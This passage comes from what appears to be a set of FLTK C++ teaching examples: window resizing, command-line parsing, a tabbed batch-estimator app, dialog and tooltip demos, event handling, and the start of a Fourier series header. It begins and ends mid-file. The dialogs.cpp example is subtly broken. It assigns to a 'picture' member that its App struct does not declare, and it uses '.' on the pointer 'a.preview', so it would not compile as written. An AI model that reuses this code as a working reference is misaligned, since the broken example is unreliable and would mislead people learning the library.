mkbox(left_x, top_y, main_w - 2 * gap, row_h, "TOP", fixed_color);
mkbox(left_x, center_y, edge_w, center_h, "L", fixed_color);
Fl_Box *center = mkbox(center_x, center_y, center_w, center_h, "R",
grow_color);
mkbox(right_x, center_y, edge_w, center_h, "R2", fixed_color);
mkbox(left_x, bottom_y, main_w - 2 * gap, row_h, "BOTTOM", fixed_color);
main_group->resizable(center);
main_group->end();
Fl_Box *footer = mkbox(spacing, footer_y, win_w - 2 * spacing, footer_h,
"The bottom bar moves with the window",
fl_rgb_color(190, 190, 190));
footer->labelsize(16);
win->resizable(main_group);
win->size_range(win_w, win_h, 2 * win_w, 2 * win_h, 50, 50, 1);
win->end();
win->show();
return Fl::run();
}
resize7.cppC++ / 42 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
spacing = 15,
box_w = 240,
box_h = 140,
font_size = 22,
win_w = box_w + 2 * spacing,
win_h = box_h + 2 * spacing,
win_x = 50,
win_y = 80,
win_gap = 30
};
static void make_window(int res_w, int res_h, const char *title)
{
Fl_Window *win = new Fl_Window(win_w, win_h, title);
Fl_Box *box = new Fl_Box(spacing, spacing, box_w, box_h, title);
box->box(FL_EMBOSSED_BOX);
box->color(FL_YELLOW);
box->labelsize(font_size);
Fl_Box *res = new Fl_Box(spacing, spacing, res_w, res_h);
win->resizable(res);
win->end();
win->show();
}
int main()
{
make_window(0, box_h, "Height only");
make_window(box_w, 0, "Width only");
make_window(box_w, box_h, "Both");
return Fl::run();
}
08 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
args0.cppC++ / 17 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
enum {
win_w = 400,
win_h = 400
};
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(win_w, win_h);
win->end();
//win->show(argc, argv);
win->show();
return Fl::run();
}
args1.cppC++ / 67 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
fontsz = 20
};
static int buttons_count = 3;
static void say_callback(Fl_Widget *, void *user)
{
printf("%s\n", (const char*) user);
}
static void set_buttons_count(const char *arg)
{
char *errptr;
buttons_count = strtol(arg, &errptr, 10);
if (errptr == arg || *errptr) {
fprintf(stderr, "Invalid count %s\n", arg);
exit(1);
}
}
static int cmdline_callback(int argc, char **argv, int &idx)
{
if (0 == strcmp(argv[idx], "-count")) {
if (idx >= argc - 1) {
fprintf(stderr, "Count (number) expected\n");
exit(1);
}
set_buttons_count(argv[idx+1]);
idx += 2;
return 2;
}
return 0;
}
int main(int argc, char **argv)
{
int arg_idx;
int res = Fl::args(argc, argv, arg_idx, cmdline_callback);
if (!res) {
fprintf(stderr, "Malformed command line\n");
return 1;
}
int win_w = button_w + spacing * 2;
int win_h = (button_h + spacing) * buttons_count + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "command line demo");
for (int i = 0, y = spacing; i < buttons_count; i++) {
const char *msg = arg_idx + i < argc ? argv[arg_idx + i] : "Not set";
Fl_Button *b = new Fl_Button(spacing, y, button_w, button_h, msg);
b->labelsize(fontsz);
b->callback(say_callback, (void*)msg);
y += button_h + spacing;
}
win->end();
win->show(argc, argv);
return Fl::run();
}
args2.cppC++ / 78 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
enum {
spacing = 5,
button_w = 200,
button_h = 40,
fontsz = 20
};
static void say_callback(Fl_Widget *, void *user)
{
printf("%s\n", (const char*) user);
}
static int str2num(const char *arg)
{
char *errptr;
int count = strtol(arg, &errptr, 10);
if (errptr == arg || *errptr) {
fprintf(stderr, "Invalid count %s\n", arg);
exit(1);
}
return count;
}
void process_args(int argc, char **argv, int &idx,
int &buttons_count, bool &fltk_args)
{
while (idx < argc) {
if (0 == strcmp(argv[idx], "-count")) {
if (idx >= argc - 1) {
fprintf(stderr, "Count (number) expected\n");
exit(1);
}
buttons_count = str2num(argv[idx+1]);
idx += 2;
} else if (argv[idx][0] == '-') {
int res = Fl::arg(argc, argv, idx);
fltk_args = true;
if (res == 0) {
fprintf(stderr, "Flag <<%s>> unkown\n", argv[idx]);
exit(1);
}
} else
break;
}
}
int main(int argc, char **argv)
{
int arg_idx = 1, buttons_count = 0;
bool fltk_args = false;
process_args(argc, argv, arg_idx, buttons_count, fltk_args);
if (buttons_count < 3)
buttons_count = 3;
int win_w = button_w + spacing * 2;
int win_h = (button_h + spacing) * buttons_count + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "command line demo");
for (int i = 0, y = spacing; i < buttons_count; i++) {
const char *msg = arg_idx + i < argc ? argv[arg_idx + i] : "Not set";
Fl_Button *b = new Fl_Button(spacing, y, button_w, button_h, msg);
b->labelsize(fontsz);
b->callback(say_callback, (void*)msg);
y += button_h + spacing;
}
win->end();
if (fltk_args)
win->show(argc, argv);
else
win->show();
return Fl::run();
}
09 (10-11)
MakefileMake / 15 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
dialogs: LDLIBS = $(shell $(FLTK_DIR)/fltk-config --use-images --ldflags)
clean:
rm -f *.o $(PROGS)
batch_estimator.cppC++ / 440 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Progress.H>
#include <FL/Fl_Value_Slider.H>
#include <FL/Fl_Dial.H>
#include <FL/Fl_Value_Output.H>
#include <FL/Fl_Counter.H>
#include <FL/Fl_Table.H>
#include <FL/Fl_Tile.H>
#include <FL/Fl_Tabs.H>
#include <FL/Fl_Wizard.H>
#include <FL/Fl_Tooltip.H>
#include <FL/fl_draw.H>
enum {
pad = 16,
win_w = 900,
win_h = 620,
min_win_w = win_w - 140,
min_win_h = win_h - 60,
tabs_x = pad,
tabs_y = pad,
tabs_w = win_w - 2 * pad,
tabs_h = win_h - 2 * pad,
page_x = tabs_x + 8,
page_y = tabs_y + 36,
page_w = tabs_w - 16,
page_h = tabs_h - 44,
wizard_x = page_x + pad,
wizard_y = page_y + pad,
wizard_w = page_w - 2 * pad,
wizard_h = page_h - 110,
nav_y = wizard_y + wizard_h + pad,
tile_x = page_x + pad,
tile_y = page_y + pad,
tile_w = page_w - 2 * pad,
tile_h = page_h - 2 * pad,
left_w = tile_w * 2 / 3,
right_w = tile_w - left_w
};
class ResultsTable : public Fl_Table {
int completed_;
double multiplier_;
double offset_;
protected:
void draw_cell(TableContext context, int r, int c,
int x, int y, int w, int h)
{
if (context != CONTEXT_COL_HEADER && context != CONTEXT_CELL)
return;
fl_push_clip(x, y, w, h);
fl_color(context == CONTEXT_COL_HEADER ? FL_BACKGROUND_COLOR :
(r % 2 ? FL_WHITE : fl_rgb_color(245, 247, 249)));
fl_rectf(x, y, w, h);
fl_color(FL_DARK3);
fl_rect(x, y, w, h);
fl_color(FL_BLACK);
fl_font(context == CONTEXT_COL_HEADER ? FL_HELVETICA_BOLD :
FL_HELVETICA, 14);
char text[80];
if (context == CONTEXT_COL_HEADER) {
const char *headings[] = { "Case", "Base value", "Estimate" };
snprintf(text, sizeof(text), "%s", headings[c]);
} else if (c == 0) {
snprintf(text, sizeof(text), "%d", r + 1);
} else if (c == 1) {
snprintf(text, sizeof(text), "%.2f", 10.0 * (r + 1));
} else if (r < completed_) {
snprintf(text, sizeof(text), "%.2f",
10.0 * (r + 1) * multiplier_ + offset_);
} else {
snprintf(text, sizeof(text), "Pending");
}
fl_draw(text, x + 8, y, w - 16, h, FL_ALIGN_LEFT);
fl_pop_clip();
}
public:
ResultsTable(int x, int y, int w, int h)
: Fl_Table(x, y, w, h), completed_(0),
multiplier_(1.0), offset_(0.0)
{
cols(3);
rows(0);
col_header(1);
col_header_height(30);
col_width(0, 80);
col_width(1, 140);
col_width(2, w - 80 - 140 - Fl::scrollbar_size() - 4);
col_resize(1);
box(FL_DOWN_BOX);
end();
}
void resize(int X, int Y, int W, int H)
{
Fl_Table::resize(X, Y, W, H);
int remaining = W - col_width(0) - col_width(1)
- Fl::scrollbar_size() - 4;
col_width(2, remaining > 120 ? remaining : 120);
}
void reset(int count, double multiplier, double offset)
{
completed_ = 0;
multiplier_ = multiplier;
offset_ = offset;
rows(count);
row_height_all(30);
redraw();
}
void complete_one()
{
++completed_;
redraw();
}
};
class SetupPage : public Fl_Group {
Fl_Wizard *wizard_;
Fl_Button *back_;
Fl_Button *next_;
Fl_Button *start_;
public:
SetupPage(int x, int y, int w, int h, const char *label)
: Fl_Group(x, y, w, h, label),
wizard_(0), back_(0), next_(0), start_(0) {}
void controls(Fl_Wizard *wizard, Fl_Button *back,
Fl_Button *next, Fl_Button *start)
{
wizard_ = wizard;
back_ = back;
next_ = next;
start_ = start;
}
void resize(int X, int Y, int W, int H)
{
Fl_Widget::resize(X, Y, W, H);
if (!wizard_)
return;
const int wx = X + pad;
const int wy = Y + pad;
const int ww = W - 2 * pad;
const int wh = H - 110;
const int ny = wy + wh + pad;
wizard_->resize(wx, wy, ww, wh);
back_->resize(wx + 10, ny, 110, 36);
next_->resize(wx + 130, ny, 110, 36);
start_->resize(wx + ww - 130, ny, 120, 36);
redraw();
}
};
class Progress : public Fl_Progress {
public:
Progress(int x, int y, int w, int h)
: Fl_Progress(x, y, w, h) {}
int handle(int event)
{
switch (event) {
case FL_ENTER:
case FL_LEAVE:
return 1;
}
return Fl_Progress::handle(event);
}
};
struct App {
Fl_Tabs *tabs;
Fl_Group *results_page;
Fl_Wizard *wizard;
Fl_Value_Slider *multiplier;
Fl_Dial *offset;
Fl_Value_Output *offset_display;
Fl_Counter *count;
Fl_Box *review;
Fl_Button *back;
Fl_Button *next;
Fl_Button *start;
Fl_Button *cancel;
Progress *progress;
Fl_Box *status;
Fl_Box *total;
ResultsTable *table;
int planned;
int completed;
double run_multiplier;
double run_offset;
bool running;
};
static void tick(void *data);
static void dial_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
a->offset_display->value(a->offset->value());
}
static void next_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
char text[256];
snprintf(text, sizeof(text),
"Step 2: Review your settings\n\n"
"Multiplier: %.2f\nFixed addition: %.2f\nCases: %d\n\n"
"Press Run to calculate the estimates.",
a->multiplier->value(), a->offset->value(),
static_cast<int>(a->count->value()));
a->review->copy_label(text);
a->wizard->next();
a->back->activate();
a->next->deactivate();
if (!a->running)
a->start->activate();
}
static void back_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
a->wizard->prev();
a->back->deactivate();
a->next->activate();
a->start->deactivate();
}
static void start_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
if (a->running)
return;
a->planned = static_cast<int>(a->count->value());
a->completed = 0;
a->run_multiplier = a->multiplier->value();
a->run_offset = a->offset->value();
a->running = true;
a->table->reset(a->planned, a->run_multiplier, a->run_offset);
a->progress->minimum(0);
a->progress->maximum(a->planned);
a->progress->value(0);
a->status->copy_label("Calculating...");
a->total->copy_label("Results will appear as each case finishes.");
a->start->deactivate();
a->cancel->activate();
a->tabs->value(a->results_page);
Fl::add_timeout(0.15, tick, a);
}
static void tick(void *data)
{
App *a = static_cast<App*>(data);
if (!a->running)
return;
++a->completed;
a->table->complete_one();
a->progress->value(a->completed);
char text[128];
snprintf(text, sizeof(text), "Processed %d of %d cases",
a->completed, a->planned);
a->status->copy_label(text);
if (a->completed == a->planned) {
a->running = false;
a->cancel->deactivate();
a->start->activate();
double sum = a->run_multiplier * 10.0 * a->planned *
(a->planned + 1) / 2.0 + a->run_offset * a->planned;
snprintf(text, sizeof(text),
"Finished.\nTotal estimated value: %.2f", sum);
a->total->copy_label(text);
} else {
Fl::repeat_timeout(0.15, tick, a);
}
}
static void cancel_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
if (!a->running)
return;
a->running = false;
Fl::remove_timeout(tick, a);
a->status->copy_label("Cancelled");
a->total->copy_label("Completed rows remain visible.");
a->cancel->deactivate();
a->start->activate();
}
int main()
{
App a = {};
Fl_Tooltip::delay(0.5);
Fl_Window win(win_w, win_h, "Batch Estimator");
a.tabs = new Fl_Tabs(tabs_x, tabs_y, tabs_w, tabs_h);
SetupPage *setup = new SetupPage(page_x, page_y, page_w, page_h, "Configure");
a.wizard = new Fl_Wizard(wizard_x, wizard_y, wizard_w, wizard_h);
Fl_Group *step1 = new Fl_Group(wizard_x, wizard_y, wizard_w, wizard_h);
Fl_Box *heading = new Fl_Box(wizard_x + 24, wizard_y + 12, wizard_w - 48, 30,
"Step 1: Calculation parameters");
heading->labelfont(FL_HELVETICA_BOLD);
heading->labelsize(19);
heading->align(FL_ALIGN_LEFT | FL_ALIGN_INSIDE);
a.multiplier = new Fl_Value_Slider(wizard_x + 205, wizard_y + 85,
390, 35, "Multiplier:");
a.multiplier->type(FL_HOR_NICE_SLIDER);
a.multiplier->bounds(0.5, 3.0);
a.multiplier->step(0.05);
a.multiplier->value(1.25);
a.multiplier->tooltip("Scale each case's base value.");
a.offset = new Fl_Dial(wizard_x + 205, wizard_y + 155,
90, 90, "Fixed addition:");
a.offset->type(FL_LINE_DIAL);
a.offset->bounds(-20, 20);
a.offset->step(1);
a.offset->value(5);
a.offset->copy_tooltip("Added to every case after multiplication.");
a.offset->callback(dial_cb, &a);
a.offset->when(FL_WHEN_CHANGED);
a.offset_display = new Fl_Value_Output(wizard_x + 390, wizard_y + 180, 90, 30,
"Value:");
a.offset_display->value(a.offset->value());
a.count = new Fl_Counter(wizard_x + 205, wizard_y + 290,
190, 35, "Number of cases:");
a.count->bounds(5, 30);
a.count->step(1);
a.count->value(15);
a.count->tooltip("Each case starts with a base value of 10, 20, 30, ...");
step1->end();
Fl_Group *step2 = new Fl_Group(wizard_x, wizard_y, wizard_w, wizard_h);
a.review = new Fl_Box(wizard_x + 24, wizard_y + 24,
wizard_w - 48, wizard_h - 48,
"Review your settings");
a.review->align(FL_ALIGN_LEFT | FL_ALIGN_TOP | FL_ALIGN_INSIDE);
a.review->labelsize(18);
step2->end();
a.wizard->end();
a.wizard->value(step1);
a.back = new Fl_Button(wizard_x + 10, nav_y, 110, 36, "Back");
a.next = new Fl_Button(wizard_x + 130, nav_y, 110, 36, "Next");
a.start = new Fl_Button(wizard_x + wizard_w - 130,
nav_y, 120, 36, "Run");
a.back->callback(back_cb, &a);
a.next->callback(next_cb, &a);
a.start->callback(start_cb, &a);
a.back->deactivate();
a.start->deactivate();
setup->controls(a.wizard, a.back, a.next, a.start);
setup->end();
a.results_page = new Fl_Group(page_x, page_y, page_w, page_h, "Results");
Fl_Tile *tile = new Fl_Tile(tile_x, tile_y, tile_w, tile_h);
Fl_Box *limits = new Fl_Box(tile_x + 200, tile_y, tile_w - 400, tile_h);
tile->resizable(limits);
a.table = new ResultsTable(tile_x, tile_y, left_w, tile_h);
Fl_Group *panel = new Fl_Group(tile_x + left_w, tile_y,
right_w, tile_h);
panel->box(FL_DOWN_BOX);
Fl_Box *panel_heading = new Fl_Box(panel->x() + 15, panel->y() + 20,
panel->w() - 30, 35, "Run status");
panel_heading->labelfont(FL_HELVETICA_BOLD);
panel_heading->labelsize(18);
a.status = new Fl_Box(panel->x() + 15, panel->y() + 90,
panel->w() - 30, 36, "Not started");
a.progress = new Progress(panel->x() + 15, panel->y() + 140,
panel->w() - 30, 27);
a.progress->minimum(0);
a.progress->maximum(1);
a.progress->value(0);
a.progress->selection_color(FL_GREEN);
a.progress->tooltip("Share of completed cases.");
a.total = new Fl_Box(panel->x() + 15, panel->y() + 195,
panel->w() - 30, 100, "No results yet.");
a.total->align(FL_ALIGN_TOP | FL_ALIGN_LEFT | FL_ALIGN_INSIDE);
a.total->box(FL_FLAT_BOX);
a.cancel = new Fl_Button(panel->x() + 15, panel->y() + 330,
panel->w() - 30, 37, "Cancel run");
a.cancel->callback(cancel_cb, &a);
a.cancel->deactivate();
a.cancel->tooltip("Stop the timer; completed rows remain visible.");
panel->resizable(a.total);
panel->end();
tile->end();
a.results_page->resizable(tile);
a.results_page->end();
a.tabs->resizable(setup);
a.tabs->end();
a.tabs->value(setup);
win.resizable(a.tabs);
win.end();
win.size_range(min_win_w, min_win_h);
win.show();
int result = Fl::run();
Fl::remove_timeout(tick, &a);
return result;
}
dialogs.cppC++ / 333 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Tooltip.H>
#include <FL/Fl_File_Chooser.H>
#include <FL/Fl_Color_Chooser.H>
#include <FL/Fl_Image.H>
#include <FL/Fl_Bitmap.H>
#include <FL/Fl_PNG_Image.H>
#include <FL/fl_ask.H>
enum {
spacing = 20,
gap = 10,
button_w = 190,
button_h = 38,
option_h = 28,
preview_h = 150,
status_h = 70,
win_w = 3 * button_w + 2 * gap + 2 * spacing,
options_y = 60,
buttons_y = options_y + option_h + gap,
caption_y = buttons_y + 3 * button_h + 2 * gap + spacing,
preview_y = caption_y + option_h,
active_y = preview_y + preview_h + gap,
status_y = active_y + option_h + spacing,
win_h = status_y + status_h + spacing
};
static const unsigned char check_bits[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x30,
0x00, 0x18, 0x00, 0x0c, 0x06, 0x06, 0x0c, 0x03,
0x98, 0x01, 0xf0, 0x00, 0x60, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const unsigned char cross_bits[] = {
0x00, 0x00, 0x00, 0x00, 0x0c, 0x30, 0x18, 0x18,
0x30, 0x0c, 0x60, 0x06, 0xc0, 0x03, 0x80, 0x01,
0x80, 0x01, 0xc0, 0x03, 0x60, 0x06, 0x30, 0x0c,
0x18, 0x18, 0x0c, 0x30, 0x00, 0x00, 0x00, 0x00
};
struct App {
Fl_Box *status;
Fl_Box *preview;
};
static void set_status(App *a, const char *text)
{
a->status->copy_label(text);
puts(text);
fflush(stdout);
}
static void tooltip_cb(Fl_Widget *w, void *data)
{
Fl_Check_Button *button = static_cast<Fl_Check_Button*>(w);
App *a = static_cast<App*>(data);
Fl_Tooltip::enable(button->value());
set_status(a, button->value() ? "Tooltips enabled" : "Tooltips disabled");
}
static void labels_cb(Fl_Widget *w, void *data)
{
Fl_Check_Button *button = static_cast<Fl_Check_Button*>(w);
App *a = static_cast<App*>(data);
int custom = button->value();
fl_yes = custom ? "Yes, please" : "Yes";
fl_no = custom ? "No, thanks" : "No";
fl_ok = custom ? "Accept" : "OK";
fl_cancel = custom ? "Dismiss" : "Cancel";
fl_close = custom ? "Done" : "Close";
fl_file_chooser_ok_label(fl_ok);
set_status(a, custom ? "Custom dialog buttons" : "Default dialog buttons");
}
static void hotspot_cb(Fl_Widget *w, void *)
{
Fl_Check_Button *button = static_cast<Fl_Check_Button*>(w);
fl_message_hotspot(button->value());
}
static void message_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
fl_message_title("Information");
fl_message_icon()->label("i");
// The call returns only after the modal dialog has been closed.
fl_message("This example has %d dialog buttons.", 9);
fl_message_icon()->label(0);
set_status(a, "Message closed");
}
static void alert_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
fl_message_title("Warning");
fl_alert("Example warning: value %d is too large.", 100);
set_status(a, "Alert closed");
}
static void ask_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
// fl_ask is deprecated, but is included to illustrate the textbook API.
int answer = fl_ask("Do you like %s?", "FLTK");
char text[80];
snprintf(text, sizeof(text), "fl_ask returned %d (%s)",
answer, answer ? "Yes" : "No");
set_status(a, text);
}
static void choice_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
const char *choices[] = { "Cancel", "Read", "Write" };
int answer = fl_choice("Choose an action for %d files.",
choices[0], choices[1], choices[2], 3);
char text[80];
snprintf(text, sizeof(text), "fl_choice returned %d (%s)",
answer, choices[answer]);
set_status(a, text);
}
static void input_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
const char *value = fl_input("Enter a name for %s:", "Student", "the demo");
if (!value) {
set_status(a, "Text input cancelled");
return;
}
char text[256];
snprintf(text, sizeof(text), "Name: %s", value);
set_status(a, text);
}
static void password_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
const char *value = fl_password("Enter a demo password:", "");
set_status(a, value ? "Password accepted" : "Password input cancelled");
}
static void file_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
const char *path = fl_file_chooser("Choose a PNG image", "*.png", ".");
if (!path) {
set_status(a, "File selection cancelled");
return;
}
Fl_PNG_Image png(path);
if (png.fail()) {
fl_alert("Cannot load PNG image:\n%s", path);
set_status(a, "PNG loading failed");
return;
}
int max_w = a->preview->w() - 2 * spacing;
int max_h = a->preview->h() - 2 * spacing;
double scale = static_cast<double>(max_w) / png.w();
double height_scale = static_cast<double>(max_h) / png.h();
if (height_scale < scale)
scale = height_scale;
if (scale > 1.0)
scale = 1.0;
int width = static_cast<int>(png.w() * scale);
int height = static_cast<int>(png.h() * scale);
Fl_Image *picture = png.copy(width > 0 ? width : 1,
height > 0 ? height : 1);
delete a->preview->image();
a->preview->image(picture);
a->preview->redraw();
// Chooser strings belong to FLTK; copy them before another chooser call.
set_status(a, path);
}
static void directory_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
const char *path = fl_dir_chooser("Choose a directory", ".", 0);
set_status(a, path ? path : "Directory selection cancelled");
}
static void color_cb(Fl_Widget *, void *data)
{
App *a = static_cast<App*>(data);
unsigned char r, g, b;
Fl::get_color(a->preview->color(), r, g, b);
if (!fl_color_chooser("Choose the preview background", r, g, b)) {
set_status(a, "Color selection cancelled");
return;
}
a->preview->color(fl_rgb_color(r, g, b));
a->preview->redraw();
char text[80];
snprintf(text, sizeof(text), "Color: RGB(%d, %d, %d)", r, g, b);
set_status(a, text);
}
static void active_cb(Fl_Widget *w, void *data)
{
Fl_Check_Button *button = static_cast<Fl_Check_Button*>(w);
App *a = static_cast<App*>(data);
if (button->value())
a->preview->activate();
else
a->preview->deactivate();
a->preview->redraw();
set_status(a, button->value() ? "Active preview: image()" :
"Inactive preview: deimage()");
}
int main()
{
App a = {};
Fl_Bitmap check(check_bits, 16, 16);
Fl_Bitmap cross(cross_bits, 16, 16);
a.picture = check.copy(80, 80);
Fl_Image *inactive_picture = cross.copy(80, 80);
Fl_Tooltip::enable();
Fl_Tooltip::delay(0.5);
Fl_Tooltip::hoverdelay(0.1);
Fl_Tooltip::size(14);
Fl_Tooltip::color(fl_rgb_color(255, 255, 210));
Fl_Tooltip::textcolor(FL_BLACK);
fl_message_title_default("FLTK dialog example");
fl_message_hotspot(0);
Fl_Window win(win_w, win_h, "Tooltips, dialogs and images");
Fl_Box title(spacing, spacing, win_w - 2 * spacing, option_h,
"Hover over a button, then click it");
title.labelsize(18);
Fl_Check_Button tooltips(spacing, options_y, button_w, option_h, "Tooltips");
tooltips.value(1);
tooltips.tooltip("Enable or disable tooltips on all widgets.");
tooltips.callback(tooltip_cb, &a);
Fl_Check_Button labels(spacing + button_w + gap, options_y,
button_w, option_h, "Custom button labels");
labels.tooltip("Change fl_yes, fl_no, fl_ok, fl_cancel and fl_close.");
labels.callback(labels_cb, &a);
Fl_Check_Button hotspot(spacing + 2 * (button_w + gap), options_y,
button_w, option_h, "Dialog at pointer");
hotspot.tooltip("Place common dialogs at the mouse pointer.");
hotspot.callback(hotspot_cb);
const char *names[] = {
"fl_message", "fl_alert", "fl_ask",
"fl_choice", "fl_input", "fl_password",
"fl_file_chooser", "fl_dir_chooser", "fl_color_chooser"
};
Fl_Callback *callbacks[] = {
message_cb, alert_cb, ask_cb,
choice_cb, input_cb, password_cb,
file_cb, directory_cb, color_cb
};
for (int i = 0; i < 9; ++i) {
Fl_Button *button = new Fl_Button(spacing + (i % 3) * (button_w + gap),
buttons_y + (i / 3) * (button_h + gap),
button_w, button_h, names[i]);
button->callback(callbacks[i], &a);
char tip[160];
snprintf(tip, sizeof(tip), "Button %d: open a modal %s dialog.",
i + 1, names[i]);
// Unlike tooltip(), copy_tooltip() copies this temporary text.
button->copy_tooltip(tip);
}
Fl_Box caption(spacing, caption_y, win_w - 2 * spacing, option_h,
"Fl_Bitmap preview; choose a PNG to replace it");
Fl_Box preview(spacing, preview_y, win_w - 2 * spacing, preview_h);
a.preview = &preview;
preview.box(FL_DOWN_BOX);
preview.color(FL_WHITE);
preview.labelcolor(FL_DARK_GREEN);
preview.image(check.copy(80, 80));
preview.deimage(inactive_picture);
preview.tooltip("image() is shown when active; deimage() when inactive.");
Fl_Check_Button active(spacing, active_y, 260, option_h, "Preview active");
active.value(1);
active.tooltip("Uncheck to display the cross assigned with deimage().");
active.callback(active_cb, &a);
Fl_Box status(spacing, status_y, win_w - 2 * spacing, status_h, "Ready");
a.status = &status;
status.box(FL_DOWN_BOX);
status.align(FL_ALIGN_LEFT | FL_ALIGN_INSIDE | FL_ALIGN_WRAP);
win.end();
win.show();
int result = Fl::run();
// Widgets borrow image pointers; the application owns the images.
preview.image(0);
preview.deimage(0);
delete a.preview.image();
delete inactive_picture;
return result;
}
events1.cppC++ / 68 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
spacing = 20,
box_w = 400,
box_h = 220,
font_size = 20,
win_w = box_w + 2 * spacing,
win_h = box_h + 2 * spacing
};
class EventBox : public Fl_Box {
public:
EventBox(int x, int y, int w, int h, const char *title)
: Fl_Box(x, y, w, h, title)
{
box(FL_DOWN_BOX);
color(FL_DARK_GREEN);
labelsize(font_size);
}
int handle(int event)
{
char text[100];
switch (event) {
case FL_ENTER:
case FL_MOVE:
sprintf(text, "Mouse: %d, %d",
Fl::event_x() - x(), Fl::event_y() - y());
copy_label(text);
return 1;
case FL_DRAG:
copy_label("Dragging!");
return 1;
case FL_PUSH:
sprintf(text, "Mouse button %d pressed\n",
Fl::event_button());
copy_label(text);
return 1;
case FL_KEYDOWN:
sprintf(text, "Key: %d, text: %s",
Fl::event_key(), Fl::event_text());
copy_label(text);
return 1;
}
return Fl_Box::handle(event);
}
};
int main()
{
Fl_Window win(win_w, win_h, "Event handling");
win.color(FL_BLACK);
EventBox box(spacing, spacing, box_w, box_h, "Move mouse here");
win.end();
win.show();
return Fl::run();
}
events2.cppC++ / 42 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
spacing = 20,
box_w = 320,
box_h = 100,
font_size = 25,
win_w = box_w + 2 * spacing,
win_h = box_h + 2 * spacing
};
static int global_handler(int event)
{
if (event == FL_SHORTCUT
&& Fl::event_key() == 'g'
&& Fl::event_state(FL_CTRL)) {
puts("Global shortcut Ctrl+G");
fflush(stdout);
return 1;
}
return 0;
}
int main()
{
Fl_Window win(win_w, win_h, "Global shortcut");
Fl_Box box(spacing, spacing, box_w, box_h, "Press Ctrl+G");
box.box(FL_DOWN_BOX);
box.labelsize(font_size);
Fl::add_handler(global_handler);
win.end();
win.show();
return Fl::run();
}
events3.cppC++ / 57 lines
#include <stdio.h>
#include <X11/Xlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
spacing = 20,
box_w = 320,
box_h = 120,
font_size = 22,
win_w = box_w + 2 * spacing,
win_h = box_h + 2 * spacing
};
static int system_handler(void *event, void *data)
{
XEvent *xevent = static_cast<XEvent*>(event);
if (xevent->type == ButtonPress)
puts("X11: ButtonPress");
if (xevent->type == KeyPress)
puts("X11: KeyPress");
return 0;
}
static int dispatch(int event, Fl_Window *win)
{
if (event == FL_PUSH)
puts("FLTK: FL_PUSH");
if (event == FL_KEYDOWN)
puts("FLTK: FL_KEYDOWN");
fflush(stdout);
return Fl::handle_(event, win);
}
int main()
{
Fl_Window win(win_w, win_h, "Event interception");
Fl_Box box(spacing, spacing, box_w, box_h, "Click or press a key");
box.box(FL_DOWN_BOX);
box.labelsize(font_size);
Fl::add_system_handler(system_handler, 0);
Fl::event_dispatch(dispatch);
win.end();
win.show();
return Fl::run();
}
fourier_series.hC / 108 lines
#ifndef FOURIER_SERIES_H
#define FOURIER_SERIES_H
#include <cmath>
#include <vector>
namespace fourier {
const double pi = 3.14159265358979323846;
enum Waveform { SQUARE, SAWTOOTH, TRIANGLE };
inline const char *name(Waveform waveform)
{
const char *names[] = { "Square", "Sawtooth", "Triangle" };
return names[waveform];
}
// Period 2*pi; at a discontinuity, use the midpoint of the two limits.
inline double signal(Waveform waveform, double x)
{
double s = std::sin(x);
if (waveform == TRIANGLE)
return 2.0 / pi * std::asin(s);
if (waveform == SQUARE)
return std::fabs(s) < 1e-12 ? 0.0 : (s > 0.0 ? 1.0 : -1.0);
double wrapped = std::atan2(s, std::cos(x));
return std::fabs(std::fabs(wrapped) - pi) < 1e-12 ? 0.0 : wrapped / pi;
}
struct Harmonic {
double cosine, sine, rmse;
